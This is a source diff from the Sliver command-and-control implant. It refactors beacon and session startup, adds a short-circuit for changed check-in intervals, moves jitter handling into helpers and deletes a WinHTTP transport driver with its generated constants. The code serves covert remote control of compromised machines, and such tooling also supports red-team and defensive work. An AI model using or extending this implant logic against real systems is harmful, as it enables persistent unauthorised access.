-				time.Sleep(reconnect)
-			}
+			// {{if .Config.IsBeacon}}
+			beaconStartup()
+			// {{else}}
+			sessionStartup()
+			// {{end}}
 		case c := <-r:
 			switch c.Cmd {
 			case svc.Interrogate:
@@ -199,7 +185,16 @@ func main() {
 	// {{else}}
 
 	// {{if .Config.IsBeacon}}
+	beaconStartup()
+	// {{else}} ------- IsBeacon/IsSession -------
+	sessionStartup()
+	// {{end}}
 
+	// {{end}} ------- IsService -------
+}
+
+// {{if .Config.IsBeacon}}
+func beaconStartup() {
 	// {{if .Config.Debug}}
 	log.Printf("Running in Beacon mode with ID: %s", InstanceID)
 	// {{end}}
@@ -227,9 +222,11 @@ func main() {
 		// {{end}}
 		time.Sleep(reconnect)
 	}
+}
 
-	// {{else}} ------- IsBeacon/IsSession -------
+// {{else}}
 
+func sessionStartup() {
 	// {{if .Config.Debug}}
 	log.Printf("Running in session mode")
 	// {{end}}
@@ -254,11 +251,10 @@ func main() {
 		// {{end}}
 		time.Sleep(reconnect)
 	}
-	// {{end}}
-
-	// {{end}}
 }
 
+// {{end}}
+
 // {{if .Config.IsBeacon}}
 func beaconMainLoop(beacon *transports.Beacon) error {
 	// Register beacon
@@ -311,16 +307,23 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 	// until all tasks complete (in success or failure), if a task handler blocks
 	// forever it will simply block this set of tasks instead of the entire beacon
 	errors := make(chan error)
+	shortCircuit := make(chan struct{})
 	for {
 		duration := beacon.Duration()
 		nextCheckin = time.Now().Add(duration)
 		go func() {
+			oldInterval := beacon.Interval()
 			err := beaconMain(beacon, nextCheckin)
 			if err != nil {
 				// {{if .Config.Debug}}
 				log.Printf("[beacon] main error: %v", nextCheckin)
 				// {{end}}
 				errors <- err
+			} else if oldInterval != beacon.Interval() {
+				// The beacon's interval was modified so we need to short circuit
+				// the current sleep and tell the server when the next checkin will
+				// be based on the new interval.
+				shortCircuit <- struct{}{}
 			}
 		}()
 
@@ -331,6 +334,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 		case <-errors:
 			return err
 		case <-time.After(duration):
+		case <-shortCircuit:
+			// Short circuit current duration with no error
 		}
 	}
 	return nil

implant/sliver/transports/beacon.go

@@ -30,8 +30,6 @@ import (
 	"net/url"
 	"time"
 
-	"strconv"
-
 	// {{if .Config.MTLSc2Enabled}}
 	"crypto/tls"
 
@@ -52,6 +50,10 @@ import (
 
 	// {{end}}
 
+	// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
+	"strconv"
+	// {{end}}
+
 	// {{if .Config.DNSc2Enabled}}
 
 	"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
@@ -86,20 +88,12 @@ type Beacon struct {
 
 // Interval - Interval between beacons
 func (b *Beacon) Interval() int64 {
-	interval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
-	if err != nil {
-		interval = int64(30 * time.Second)
-	}
-	return int64(interval)
+	return GetInterval()
 }
 
 // Jitter - Jitter between beacons
 func (b *Beacon) Jitter() int64 {
-	jitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
-	if err != nil {
-		jitter = int64(30 * time.Second)
-	}
-	return int64(jitter)
+	return GetJitter()
 }
 
 // Duration - Interval + random value <= Jitter

implant/sliver/transports/httpclient/drivers/win/.gitignore

@@ -1,6 +0,0 @@
-*.profile
-*.test
-build
-cmd/*
-local
-tags

implant/sliver/transports/httpclient/drivers/win/README.md

@@ -2,10 +2,12 @@
 
 #### Changes
 
+ * Removed winhttp code
  * Removed custom errors package
  * Removed custom pathname package
  * Refactored names to be consistent with the rest of the Sliver code base
  * Merged client `http` sub-packages with `winhttp` and `wininet`
+ * Added custom cookie jar implementation to wininet client
 
 # Win
 

implant/sliver/transports/httpclient/drivers/win/tools/defines.go

@@ -29,13 +29,13 @@ func genFile(
 	cache map[string]string,
 	lines [][]string,
 ) error {
-	var e error
+	var err error
 	var file string = "generated.go"
 	var g *os.File
 	var sorted []string
 
-	if g, e = os.Create(file); e != nil {
-		return fmt.Errorf("failed to create %s: %w", file, e)
+	if g, err = os.Create(file); err != nil {
+		return fmt.Errorf("failed to create %s: %w", file, err)
 	}
 	defer g.Close()
 
@@ -112,13 +112,13 @@ func main() {
 			continue
 		}
 
-		if e := processFile(&cache, &lines, arg); e != nil {
-			panic(e)
+		if err := processFile(&cache, &lines, arg); err != nil {
+			panic(err)
 		}
 	}
 
-	if e := genFile(flag.Arg(0), cache, lines); e != nil {
-		panic(e)
+	if err := genFile(flag.Arg(0), cache, lines); err != nil {
+		panic(err)
 	}
 }
 
@@ -128,18 +128,18 @@ func processFile(
 	file string,
 ) error {
 	var b []byte
-	var e error
+	var err error
 	var f *os.File
 	var fullLine string
 	var tmp []string
 
-	if f, e = os.Open(ExpandPath(file)); e != nil {
-		return fmt.Errorf("failed to open %s: %w", file, e)
+	if f, err = os.Open(ExpandPath(file)); err != nil {
+		return fmt.Errorf("failed to open %s: %w", file, err)
 	}
 	defer f.Close()
 
-	if b, e = ioutil.ReadAll(f); e != nil {
-		return fmt.Errorf("failed to read %s: %w", file, e)
+	if b, err = ioutil.ReadAll(f); err != nil {
+		return fmt.Errorf("failed to read %s: %w", file, err)
 	}
 
 	for _, line := range strings.Split(string(b), "\n") {
@@ -196,7 +196,7 @@ func DoesExist(path string) bool {
 // ExpandPath will expand the specified path accounting for ~ or ~user
 // shortcuts as well as ENV vars.
 func ExpandPath(path string) string {
-	var e error
+	var err error
 	var sep int
 	var usr *user.User
 
@@ -214,12 +214,12 @@ func ExpandPath(path string) string {
 		case -1:
 			// If just ~
 			if path == "~" {
-				if usr, e = user.Current(); e != nil {
+				if usr, err = user.Current(); err != nil {
 					return path
 				}
 			} else {
 				// If ~user shortcut
-				if usr, e = user.Lookup(path[1:]); e != nil {
+				if usr, err = user.Lookup(path[1:]); err != nil {
 					return path
 				}
 			}
@@ -227,14 +227,14 @@ func ExpandPath(path string) string {
 			path = ""
 		case 1:
 			// If path starting with ~/
-			if usr, e = user.Current(); e != nil {
+			if usr, err = user.Current(); err != nil {
 				return path
 			}
 
 			path = path[2:]
 		default:
 			// If ~user/ shortcut
-			if usr, e = user.Lookup(path[1:sep]); e != nil {
+			if usr, err = user.Lookup(path[1:sep]); err != nil {
 				return path
 			}
 

implant/sliver/transports/httpclient/drivers/win/winhttp/client_generic.go

@@ -1,37 +0,0 @@
-//go:build !windows
-
-package winhttp
-
-import "errors"
-
-// Client is an empty struct, if not Windows.
-type Client struct{}
-
-// NewClient is only supported on Windows.
-func NewClient() (*Client, error) {
-	return &Client{}, errors.New("unsupported OS")
-}
-
-// Do is only supported on Windows.
-func (c *Client) Do(r *Request) (*Response, error) {
-	return nil, errors.New("unsupported OS")
-}
-
-// Get is only supported on Windows.
-func (c *Client) Get(url string) (*Response, error) {
-	return nil, errors.New("unsupported OS")
-}
-
-// Head is only supported on Windows.
-func (c *Client) Head(url string) (*Response, error) {
-	return nil, errors.New("unsupported OS")
-}
-
-// Post is only supported on Windows.
-func (c *Client) Post(
-	url string,
-	contentType string,
-	body []byte,
-) (*Response, error) {
-	return nil, errors.New("unsupported OS")
-}

implant/sliver/transports/httpclient/drivers/win/winhttp/client_windows.go

@@ -1,178 +0,0 @@
-package winhttp
-
-import (
-	"encoding/binary"
-	"fmt"
-	"io/ioutil"
-	"net/http"
-	"time"
-)
-
-// Client is a struct containing relevant metadata to make HTTP
-// requests.
-type Client struct {
-	handle          uintptr
-	Timeout         time.Duration
-	TLSClientConfig struct {
-		InsecureSkipVerify bool
-	}
-}
-
-// NewClient will return a pointer to a new Client instance that
-// simply wraps the net/http.Client type.
-func NewClient(userAgent string) (*Client, error) {
-	var c = &Client{}
-	var e error
-
-	// Create session
-	c.handle, e = Open(
-		userAgent,
-		WinhttpAccessTypeAutomaticProxy,
-		"",
-		"",
-		0,
-	)
-	if e != nil {
-		return nil, fmt.Errorf("failed to create session: %w", e)
-	}
-
-	return c, nil
-}
-
-// Do will send the HTTP request and return an HTTP response.
-func (c *Client) Do(request *http.Request) (*http.Response, error) {
-	var buf []byte
-	var err error
-	var reqHandle uintptr
-	var resp *Response
-	var tlsIgnore uintptr
-
-	// Convert http.Request to internal pkg Request
-	var rawBody []byte
-	if request.Body != nil {
-		rawBody, err = ioutil.ReadAll(request.Body)
-		if err != nil {
-			return nil, fmt.Errorf("failed to read request body: %w", err)
-		}
-	}
-
-	headers := make(map[string]string)
-	for headerName, headerValue := range request.Header {
-		if 0 < len(headerValue) {
-			headers[headerName] = headerValue[0]
-		}
-	}
-	req := &Request{
-		Method:  request.Method,
-		URL:     request.URL.String(),
-		Headers: headers,
-		Body:    rawBody,
-	}
-	if reqHandle, err = buildRequest(c.handle, req); err != nil {
-		return nil, err
-	}
-
-	if c.Timeout > 0 {
-		buf = make([]byte, 4)
-		binary.LittleEndian.PutUint32(
-			buf,
-			uint32(c.Timeout.Milliseconds()),
-		)
-
-		err = SetOption(
-			reqHandle,
-			WinhttpOptionConnectTimeout,
-			buf,
-			len(buf),
-		)
-		if err != nil {
-			err = fmt.Errorf("failed to set connect timeout: %w", err)
-			return nil, err
-		}
-
-		err = SetOption(
-			reqHandle,
-			WinhttpOptionReceiveResponseTimeout,
-			buf,
-			len(buf),
-		)
-		if err != nil {
-			err = fmt.Errorf("failed to set response timeout: %w", err)
-			return nil, err
-		}
-
-		err = SetOption(
-			reqHandle,
-			WinhttpOptionReceiveTimeout,
-			buf,
-			len(buf),
-		)
-		if err != nil {
-			err = fmt.Errorf("failed to set receive timeout: %w", err)
-			return nil, err
-		}
-
-		err = SetOption(
-			reqHandle,
-			WinhttpOptionResolveTimeout,
-			buf,
-			len(buf),
-		)
-		if err != nil {
-			err = fmt.Errorf("failed to set resolve timeout: %w", err)
-			return nil, err
-		}
-
-		err = SetOption(
-			reqHandle,
-			WinhttpOptionSendTimeout,
-			buf,
-			len(buf),
-		)
-		if err != nil {
-			err = fmt.Errorf("failed to set send timeout: %w", err)
-			return nil, err
-		}
-	}
-
-	if c.TLSClientConfig.InsecureSkipVerify {
-		tlsIgnore |= SecurityFlagIgnoreUnknownCa
-		tlsIgnore |= SecurityFlagIgnoreCertDateInvalid
-		tlsIgnore |= SecurityFlagIgnoreCertCnInvalid
-		tlsIgnore |= SecurityFlagIgnoreCertWrongUsage
-
-		buf = make([]byte, 4)
-		binary.LittleEndian.PutUint32(buf, uint32(tlsIgnore))
-
-		err = SetOption(
-			reqHandle,
-			WinhttpOptionSecurityFlags,
-			buf,
-			len(buf),
-		)
-		if err != nil {
-			err = fmt.Errorf("failed to set security flags: %w", err)
-			return nil, err
-		}
-	}
-
-	if err = sendRequest(reqHandle, req); err != nil {
-		return nil, err
-	}
-
-	if resp, err = buildResponse(reqHandle, req); err != nil {
-		return nil, err
-	}
-
-	return &http.Response{
-		Status:        resp.Status,
-		StatusCode:    resp.StatusCode,
-		Proto:         "HTTP/1.1",
-		ProtoMajor:    1,
-		ProtoMinor:    1,
-		Body:          resp.Body,
-		ContentLength: resp.ContentLength,
-		Request:       request,
-		Header:        make(http.Header),
-	}, nil
-}

implant/sliver/transports/httpclient/drivers/win/winhttp/cookie.go

@@ -1,8 +0,0 @@
-package winhttp
-
-// Cookie represents an HTTP cookie sent in the Cookie header of an
-// HTTP Request.
-type Cookie struct {
-	Name  string
-	Value string
-}

implant/sliver/transports/httpclient/drivers/win/winhttp/generated.go

@@ -1,462 +0,0 @@
-// Code generated by tools/defines.go; DO NOT EDIT.
-package winhttp
-
-const (
-	InternetDefaultPort                             uintptr = 0
-	InternetDefaultHTTPPort                         uintptr = 80
-	InternetDefaultHTTPsPort                        uintptr = 443
-	InternetSchemeHTTP                              uintptr = 1
-	InternetSchemeHTTPs                             uintptr = 2
-	InternetSchemeFtp                               uintptr = 3
-	InternetSchemeSocks                             uintptr = 4
-	IcuEscape                                       uintptr = 0x80000000
-	IcuEscapeAuthority                              uintptr = 0x00002000
-	IcuRejectUserpwd                                uintptr = 0x00004000
-	WinhttpFlagAsync                                uintptr = 0x10000000
-	WinhttpFlagEscapePercent                        uintptr = 0x00000004
-	WinhttpFlagNullCodepage                         uintptr = 0x00000008
-	WinhttpFlagEscapeDisable                        uintptr = 0x00000040
-	WinhttpFlagEscapeDisableQuery                   uintptr = 0x00000080
-	WinhttpFlagBypassProxyCache                     uintptr = 0x00000100
-	WinhttpFlagRefresh                              uintptr = WinhttpFlagBypassProxyCache
-	WinhttpFlagSecure                               uintptr = 0x00800000
-	WinhttpAccessTypeDefaultProxy                   uintptr = 0
-	WinhttpAccessTypeNoProxy                        uintptr = 1
-	WinhttpAccessTypeNamedProxy                     uintptr = 3
-	WinhttpAccessTypeAutomaticProxy                 uintptr = 4
-	WinhttpNoProxyName                              uintptr = 0
-	WinhttpNoProxyBypass                            uintptr = 0
-	WinhttpNoClientCertContext                      uintptr = 0
-	WinhttpNoReferer                                uintptr = 0
-	WinhttpDefaultAcceptTypes                       uintptr = 0
-	WinhttpNoAdditionalHeaders                      uintptr = 0
-	WinhttpNoRequestData                            uintptr = 0
-	WinhttpHeaderNameByIndex                        uintptr = 0
-	WinhttpNoOutputBuffer                           uintptr = 0
-	WinhttpNoHeaderIndex                            uintptr = 0
-	WinhttpAddreqIndexMask                          uintptr = 0x0000FFFF
-	WinhttpAddreqFlagsMask                          uintptr = 0xFFFF0000
-	WinhttpAddreqFlagAddIfNew                       uintptr = 0x10000000
-	WinhttpAddreqFlagAdd                            uintptr = 0x20000000
-	WinhttpAddreqFlagCoalesceWithComma              uintptr = 0x40000000
-	WinhttpAddreqFlagCoalesceWithSemicolon          uintptr = 0x01000000
-	WinhttpAddreqFlagCoalesce                       uintptr = WinhttpAddreqFlagCoalesceWithComma
-	WinhttpAddreqFlagReplace                        uintptr = 0x80000000
-	WinhttpIgnoreRequestTotalLength                 uintptr = 0
-	WinhttpFirstOption                              uintptr = WinhttpOptionCallback
-	WinhttpOptionCallback                           uintptr = 1
-	WinhttpOptionResolveTimeout                     uintptr = 2
-	WinhttpOptionConnectTimeout                     uintptr = 3
-	WinhttpOptionConnectRetries                     uintptr = 4
-	WinhttpOptionSendTimeout                        uintptr = 5
-	WinhttpOptionReceiveTimeout                     uintptr = 6
-	WinhttpOptionReceiveResponseTimeout             uintptr = 7
-	WinhttpOptionHandleType                         uintptr = 9
-	WinhttpOptionReadBufferSize                     uintptr = 12
-	WinhttpOptionWriteBufferSize                    uintptr = 13
-	WinhttpOptionParentHandle                       uintptr = 21
-	WinhttpOptionExtendedError                      uintptr = 24
-	WinhttpOptionSecurityFlags                      uintptr = 31
-	WinhttpOptionSecurityCertificateStruct          uintptr = 32
-	WinhttpOptionUrl                                uintptr = 34
-	WinhttpOptionSecurityKeyBitness                 uintptr = 36
-	WinhttpOptionProxy                              uintptr = 38
-	WinhttpOptionProxyResultEntry                   uintptr = 39
-	WinhttpOptionUserAgent                          uintptr = 41
-	WinhttpOptionContextValue                       uintptr = 45
-	WinhttpOptionClientCertContext                  uintptr = 47
-	WinhttpOptionRequestPriority                    uintptr = 58
-	WinhttpOptionHTTPVersion                        uintptr = 59
-	WinhttpOptionDisableFeature                     uintptr = 63
-	WinhttpOptionCodepage                           uintptr = 68
-	WinhttpOptionMaxConnsPerServer                  uintptr = 73
-	WinhttpOptionMaxConnsPer10Server                uintptr = 74
-	WinhttpOptionAutologonPolicy                    uintptr = 77
-	WinhttpOptionServerCertContext                  uintptr = 78
-	WinhttpOptionEnableFeature                      uintptr = 79
-	WinhttpOptionWorkerThreadCount                  uintptr = 80
-	WinhttpOptionPassportCobrandingText             uintptr = 81
-	WinhttpOptionPassportCobrandingUrl              uintptr = 82
-	WinhttpOptionConfigurePassportAuth              uintptr = 83
-	WinhttpOptionSecureProtocols                    uintptr = 84
-	WinhttpOptionEnabletracing                      uintptr = 85
-	WinhttpOptionPassportSignOut                    uintptr = 86
-	WinhttpOptionPassportReturnUrl                  uintptr = 87
-	WinhttpOptionRedirectPolicy                     uintptr = 88
-	WinhttpOptionMaxHTTPAutomaticRedirects          uintptr = 89
-	WinhttpOptionMaxHTTPStatusContinue              uintptr = 90
-	WinhttpOptionMaxResponseHeaderSize              uintptr = 91
-	WinhttpOptionMaxResponseDrainSize               uintptr = 92
-	WinhttpOptionConnectionInfo                     uintptr = 93
-	WinhttpOptionClientCertIssuerList               uintptr = 94
-	WinhttpOptionSpn                                uintptr = 96
-	WinhttpOptionGlobalProxyCreds                   uintptr = 97
-	WinhttpOptionGlobalServerCreds                  uintptr = 98
-	WinhttpOptionUnloadNotifyEvent                  uintptr = 99
-	WinhttpOptionRejectUserpwdInUrl                 uintptr = 100
-	WinhttpOptionUseGlobalServerCredentials         uintptr = 101
-	WinhttpOptionReceiveProxyConnectResponse        uintptr = 103
-	WinhttpOptionIsProxyConnectResponse             uintptr = 104
-	WinhttpOptionServerSpnUsed                      uintptr = 106
-	WinhttpOptionProxySpnUsed                       uintptr = 107
-	WinhttpOptionServerCbt                          uintptr = 108
-	WinhttpOptionUnsafeHeaderParsing                uintptr = 110
-	WinhttpOptionAssuredNonBlockingCallbacks        uintptr = 111
-	WinhttpOptionUpgradeToWebSocket                 uintptr = 114
-	WinhttpOptionWebSocketCloseTimeout              uintptr = 115
-	WinhttpOptionWebSocketKeepaliveInterval         uintptr = 116
-	WinhttpOptionDecompression                      uintptr = 118
-	WinhttpOptionWebSocketReceiveBufferSize         uintptr = 122
-	WinhttpOptionWebSocketSendBufferSize            uintptr = 123
-	WinhttpOptionTcpPriorityHint                    uintptr = 128
-	WinhttpOptionConnectionFilter                   uintptr = 131
-	WinhttpOptionEnableHTTPProtocol                 uintptr = 133
-	WinhttpOptionHTTPProtocolUsed                   uintptr = 134
-	WinhttpOptionKdcProxySettings                   uintptr = 136
-	WinhttpOptionEncodeExtra                        uintptr = 138
-	WinhttpOptionDisableStreamQueue                 uintptr = 139
-	WinhttpOptionIpv6FastFallback                   uintptr = 140
-	WinhttpOptionConnectionStatsV0                  uintptr = 141
-	WinhttpOptionRequestTimes                       uintptr = 142
-	WinhttpOptionExpireConnection                   uintptr = 143
-	WinhttpOptionDisableSecureProtocolFallback      uintptr = 144
-	WinhttpOptionHTTPProtocolRequired               uintptr = 145
-	WinhttpOptionRequestStats                       uintptr = 146
-	WinhttpOptionServerCertChainContext             uintptr = 147
-	WinhttpLastOption                               uintptr = WinhttpOptionServerCertChainContext
-	WinhttpOptionUsername                           uintptr = 0x1000
-	WinhttpOptionPassword                           uintptr = 0x1001
-	WinhttpOptionProxyUsername                      uintptr = 0x1002
-	WinhttpOptionProxyPassword                      uintptr = 0x1003
-	WinhttpConnsPerServerUnlimited                  uintptr = 0xFFFFFFFF
-	WinhttpDecompressionFlagGzip                    uintptr = 0x00000001
-	WinhttpDecompressionFlagDeflate                 uintptr = 0x00000002
-	WinhttpDecompressionFlagAll                     uintptr = (WinhttpDecompressionFlagGzip | WinhttpDecompressionFlagDeflate)
-	WinhttpProtocolFlagHTTP2                        uintptr = 0x1
-	WinhttpProtocolMask                             uintptr = WinhttpProtocolFlagHTTP2
-	WinhttpAutologonSecurityLevelMedium             uintptr = 0
-	WinhttpAutologonSecurityLevelLow                uintptr = 1
-	WinhttpAutologonSecurityLevelHigh               uintptr = 2
-	WinhttpAutologonSecurityLevelDefault            uintptr = WinhttpAutologonSecurityLevelMedium
-	WinhttpOptionRedirectPolicyNever                uintptr = 0
-	WinhttpOptionRedirectPolicyDisallowHTTPsToHTTP  uintptr = 1
-	WinhttpOptionRedirectPolicyAlways               uintptr = 2
-	WinhttpOptionRedirectPolicyLast                 uintptr = WinhttpOptionRedirectPolicyAlways
-	WinhttpOptionRedirectPolicyDefault              uintptr = WinhttpOptionRedirectPolicyDisallowHTTPsToHTTP
-	WinhttpDisablePassportAuth                      uintptr = 0x00000000
-	WinhttpEnablePassportAuth                       uintptr = 0x10000000
-	WinhttpDisablePassportKeyring                   uintptr = 0x20000000
-	WinhttpEnablePassportKeyring                    uintptr = 0x40000000
-	WinhttpDisableCookies                           uintptr = 0x00000001
-	WinhttpDisableRedirects                         uintptr = 0x00000002
-	WinhttpDisableAuthentication                    uintptr = 0x00000004
-	WinhttpDisableKeepAlive                         uintptr = 0x00000008
-	WinhttpEnableSslRevocation                      uintptr = 0x00000001
-	WinhttpEnableSslRevertImpersonation             uintptr = 0x00000002
-	WinhttpDisableSpnServerPort                     uintptr = 0x00000000
-	WinhttpEnableSpnServerPort                      uintptr = 0x00000001
-	WinhttpOptionSpnMask                            uintptr = WinhttpEnableSpnServerPort
-	WinhttpErrorBase                                uintptr = 12000
-	ErrorWinhttpOutOfHandles                        uintptr = (WinhttpErrorBase + 1)
-	ErrorWinhttpTimeout                             uintptr = (WinhttpErrorBase + 2)
-	ErrorWinhttpInternalError                       uintptr = (WinhttpErrorBase + 4)
-	ErrorWinhttpInvalidUrl                          uintptr = (WinhttpErrorBase + 5)
-	ErrorWinhttpUnrecognizedScheme                  uintptr = (WinhttpErrorBase + 6)
-	ErrorWinhttpNameNotResolved                     uintptr = (WinhttpErrorBase + 7)
-	ErrorWinhttpInvalidOption                       uintptr = (WinhttpErrorBase + 9)
-	ErrorWinhttpOptionNotSettable                   uintptr = (WinhttpErrorBase + 11)
-	ErrorWinhttpShutdown                            uintptr = (WinhttpErrorBase + 12)
-	ErrorWinhttpLoginFailure                        uintptr = (WinhttpErrorBase + 15)
-	ErrorWinhttpOperationCancelled                  uintptr = (WinhttpErrorBase + 17)
-	ErrorWinhttpIncorrectHandleType                 uintptr = (WinhttpErrorBase + 18)
-	ErrorWinhttpIncorrectHandleState                uintptr = (WinhttpErrorBase + 19)
-	ErrorWinhttpCannotConnect                       uintptr = (WinhttpErrorBase + 29)
-	ErrorWinhttpConnectionError                     uintptr = (WinhttpErrorBase + 30)
-	ErrorWinhttpResendRequest                       uintptr = (WinhttpErrorBase + 32)
-	ErrorWinhttpSecureCertDateInvalid               uintptr = (WinhttpErrorBase + 37)
-	ErrorWinhttpSecureCertCnInvalid                 uintptr = (WinhttpErrorBase + 38)
-	ErrorWinhttpClientAuthCertNeeded                uintptr = (WinhttpErrorBase + 44)
-	ErrorWinhttpSecureInvalidCa                     uintptr = (WinhttpErrorBase + 45)
-	ErrorWinhttpSecureCertRevFailed                 uintptr = (WinhttpErrorBase + 57)
-	ErrorWinhttpCannotCallBeforeOpen                uintptr = (WinhttpErrorBase + 100)
-	ErrorWinhttpCannotCallBeforeSend                uintptr = (WinhttpErrorBase + 101)
-	ErrorWinhttpCannotCallAfterSend                 uintptr = (WinhttpErrorBase + 102)
-	ErrorWinhttpCannotCallAfterOpen                 uintptr = (WinhttpErrorBase + 103)
-	ErrorWinhttpHeaderNotFound                      uintptr = (WinhttpErrorBase + 150)
-	ErrorWinhttpInvalidServerResponse               uintptr = (WinhttpErrorBase + 152)
-	ErrorWinhttpInvalidHeader                       uintptr = (WinhttpErrorBase + 153)
-	ErrorWinhttpInvalidQueryRequest                 uintptr = (WinhttpErrorBase + 154)
-	ErrorWinhttpHeaderAlreadyExists                 uintptr = (WinhttpErrorBase + 155)
-	ErrorWinhttpRedirectFailed                      uintptr = (WinhttpErrorBase + 156)
-	ErrorWinhttpSecureChannelError                  uintptr = (WinhttpErrorBase + 157)
-	ErrorWinhttpBadAutoProxyScript                  uintptr = (WinhttpErrorBase + 166)
-	ErrorWinhttpUnableToDownloadScript              uintptr = (WinhttpErrorBase + 167)
-	ErrorWinhttpSecureInvalidCert                   uintptr = (WinhttpErrorBase + 169)
-	ErrorWinhttpSecureCertRevoked                   uintptr = (WinhttpErrorBase + 170)
-	ErrorWinhttpNotInitialized                      uintptr = (WinhttpErrorBase + 172)
-	ErrorWinhttpSecureFailure                       uintptr = (WinhttpErrorBase + 175)
-	ErrorWinhttpUnhandledScriptType                 uintptr = (WinhttpErrorBase + 176)
-	ErrorWinhttpScriptExecutionError                uintptr = (WinhttpErrorBase + 177)
-	ErrorWinhttpAutoProxyServiceError               uintptr = (WinhttpErrorBase + 178)
-	ErrorWinhttpSecureCertWrongUsage                uintptr = (WinhttpErrorBase + 179)
-	ErrorWinhttpAutodetectionFailed                 uintptr = (WinhttpErrorBase + 180)
-	ErrorWinhttpHeaderCountExceeded                 uintptr = (WinhttpErrorBase + 181)
-	ErrorWinhttpHeaderSizeOverflow                  uintptr = (WinhttpErrorBase + 182)
-	ErrorWinhttpChunkedEncodingHeaderSizeOverflow   uintptr = (WinhttpErrorBase + 183)
-	ErrorWinhttpResponseDrainOverflow               uintptr = (WinhttpErrorBase + 184)
-	ErrorWinhttpClientCertNoPrivateKey              uintptr = (WinhttpErrorBase + 185)
-	ErrorWinhttpClientCertNoAccessPrivateKey        uintptr = (WinhttpErrorBase + 186)
-	ErrorWinhttpClientAuthCertNeededProxy           uintptr = (WinhttpErrorBase + 187)
-	ErrorWinhttpSecureFailureProxy                  uintptr = (WinhttpErrorBase + 188)
-	ErrorWinhttpReserved189                         uintptr = (WinhttpErrorBase + 189)
-	ErrorWinhttpHTTPProtocolMismatch                uintptr = (WinhttpErrorBase + 190)
-	WinhttpErrorLast                                uintptr = (WinhttpErrorBase + 188)
-	WinhttpResetState                               uintptr = 0x00000001
-	WinhttpResetSwpadCurrentNetwork                 uintptr = 0x00000002
-	WinhttpResetSwpadAll                            uintptr = 0x00000004
-	WinhttpResetScriptCache                         uintptr = 0x00000008
-	WinhttpResetAll                                 uintptr = 0x0000FFFF
-	WinhttpResetNotifyNetworkChanged                uintptr = 0x00010000
-	WinhttpResetOutOfProc                           uintptr = 0x00020000
-	WinhttpResetDiscardResolvers                    uintptr = 0x00040000
-	HTTPStatusContinue                              uintptr = 100
-	HTTPStatusSwitchProtocols                       uintptr = 101
-	HTTPStatusOk                                    uintptr = 200
-	HTTPStatusCreated                               uintptr = 201
-	HTTPStatusAccepted                              uintptr = 202
-	HTTPStatusPartial                               uintptr = 203
-	HTTPStatusNoContent                             uintptr = 204
-	HTTPStatusResetContent                          uintptr = 205
-	HTTPStatusPartialContent                        uintptr = 206
-	HTTPStatusWebdavMultiStatus                     uintptr = 207
-	HTTPStatusAmbiguous                             uintptr = 300
-	HTTPStatusMoved                                 uintptr = 301
-	HTTPStatusRedirect                              uintptr = 302
-	HTTPStatusRedirectMethod                        uintptr = 303
-	HTTPStatusNotModified                           uintptr = 304
-	HTTPStatusUseProxy                              uintptr = 305
-	HTTPStatusRedirectKeepVerb                      uintptr = 307
-	HTTPStatusPermanentRedirect                     uintptr = 308
-	HTTPStatusBadRequest                            uintptr = 400
-	HTTPStatusDenied                                uintptr = 401
-	HTTPStatusPaymentReq                            uintptr = 402
-	HTTPStatusForbidden                             uintptr = 403
-	HTTPStatusNotFound                              uintptr = 404
-	HTTPStatusBadMethod                             uintptr = 405
-	HTTPStatusNoneAcceptable                        uintptr = 406
-	HTTPStatusProxyAuthReq                          uintptr = 407
-	HTTPStatusRequestTimeout                        uintptr = 408
-	HTTPStatusConflict                              uintptr = 409
-	HTTPStatusGone                                  uintptr = 410
-	HTTPStatusLengthRequired                        uintptr = 411
-	HTTPStatusPrecondFailed                         uintptr = 412
-	HTTPStatusRequestTooLarge                       uintptr = 413
-	HTTPStatusUriTooLong                            uintptr = 414
-	HTTPStatusUnsupportedMedia                      uintptr = 415
-	HTTPStatusRetryWith                             uintptr = 449
-	HTTPStatusServerError                           uintptr = 500
-	HTTPStatusNotSupported                          uintptr = 501
-	HTTPStatusBadGateway                            uintptr = 502
-	HTTPStatusServiceUnavail                        uintptr = 503
-	HTTPStatusGatewayTimeout                        uintptr = 504
-	HTTPStatusVersionNotSup                         uintptr = 505
-	HTTPStatusFirst                                 uintptr = HTTPStatusContinue
-	HTTPStatusLast                                  uintptr = HTTPStatusVersionNotSup
-	SecurityFlagIgnoreUnknownCa                     uintptr = 0x00000100
-	SecurityFlagIgnoreCertDateInvalid               uintptr = 0x00002000
-	SecurityFlagIgnoreCertCnInvalid                 uintptr = 0x00001000
-	SecurityFlagIgnoreCertWrongUsage                uintptr = 0x00000200
-	SecurityFlagSecure                              uintptr = 0x00000001
-	SecurityFlagStrengthWeak                        uintptr = 0x10000000
-	SecurityFlagStrengthMedium                      uintptr = 0x40000000
-	SecurityFlagStrengthStrong                      uintptr = 0x20000000
-	IcuNoEncode                                     uintptr = 0x20000000
-	IcuDecode                                       uintptr = 0x10000000
-	IcuNoMeta                                       uintptr = 0x08000000
-	IcuEncodeSpacesOnly                             uintptr = 0x04000000
-	IcuBrowserMode                                  uintptr = 0x02000000
-	IcuEncodePercent                                uintptr = 0x00001000
-	WinhttpQueryMimeVersion                         uintptr = 0
-	WinhttpQueryContentType                         uintptr = 1
-	WinhttpQueryContentTransferEncoding             uintptr = 2
-	WinhttpQueryContentId                           uintptr = 3
-	WinhttpQueryContentDescription                  uintptr = 4
-	WinhttpQueryContentLength                       uintptr = 5
-	WinhttpQueryContentLanguage                     uintptr = 6
-	WinhttpQueryAllow                               uintptr = 7
-	WinhttpQueryPublic                              uintptr = 8
-	WinhttpQueryDate                                uintptr = 9
-	WinhttpQueryExpires                             uintptr = 10
-	WinhttpQueryLastModified                        uintptr = 11
-	WinhttpQueryMessageId                           uintptr = 12
-	WinhttpQueryUri                                 uintptr = 13
-	WinhttpQueryDerivedFrom                         uintptr = 14
-	WinhttpQueryCost                                uintptr = 15
-	WinhttpQueryLink                                uintptr = 16
-	WinhttpQueryPragma                              uintptr = 17
-	WinhttpQueryVersion                             uintptr = 18
-	WinhttpQueryStatusCode                          uintptr = 19
-	WinhttpQueryStatusText                          uintptr = 20
-	WinhttpQueryRawHeaders                          uintptr = 21
-	WinhttpQueryRawHeadersCRLF                      uintptr = 22
-	WinhttpQueryConnection                          uintptr = 23
-	WinhttpQueryAccept                              uintptr = 24
